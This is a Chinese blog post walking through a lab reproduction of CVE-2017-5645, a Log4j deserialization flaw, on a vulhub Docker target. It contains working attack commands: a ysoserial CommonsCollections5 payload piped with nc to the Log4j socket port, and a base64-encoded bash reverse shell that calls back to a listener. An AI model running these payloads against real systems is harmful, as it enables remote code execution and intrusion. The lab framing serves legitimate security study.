愿浪飒精神伴你左右,网络安全之路任重而道远。

CVE-2017-5645漏洞复现

漏洞复现 alsly 4年前 (2022-11-14) 1277次浏览 0个评论
文章目录[隐藏]

漏洞概述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

环境搭建

vulhub搭建参考:

Vulnhub 靶场环境搭建

进入到vulbub靶场的/vulhub/log4j/CVE-2017-5645目录

使用命令:docker-compose up -d #启动镜像,整个过程比较久,耐心等待

IMG_256

测试连通性

IMG_257

进入容器

docker-compose exec log4j bash

ls /tmp 查看当前文件情况,用于后续确认远程命令执行是否执行成功

生成payload进行攻击

使用ysoserial生成payload,然后直接发送给192.168.0.140:4712

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "touch /tmp/success" | nc.exe 192.168.0.140 4712

通过docker命令行可以看到生成了success文件夹

IMG_258

开启监听

nc.exe -lvvp 9999

将 /bin/bash -i >& /dev/tcp/192.168.0.1/9999 0>&1 进行base64编码

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzk5OTkgMD4mMQ==

反弹shell

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMC4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc.exe 192.168.0.140 4712

沉住气,不要急!!!

得到反弹shell,success

IMG_259

获取exp

关注浪飒sec回复221108获取exp下载地址


本文标题:CVE-2017-5645漏洞复现
本文链接:https://blog.langsasec.cn/index.php/2022/11/14/cve-2017-5645%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (1)
[]
分享 (0)
alsly
关于作者:
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址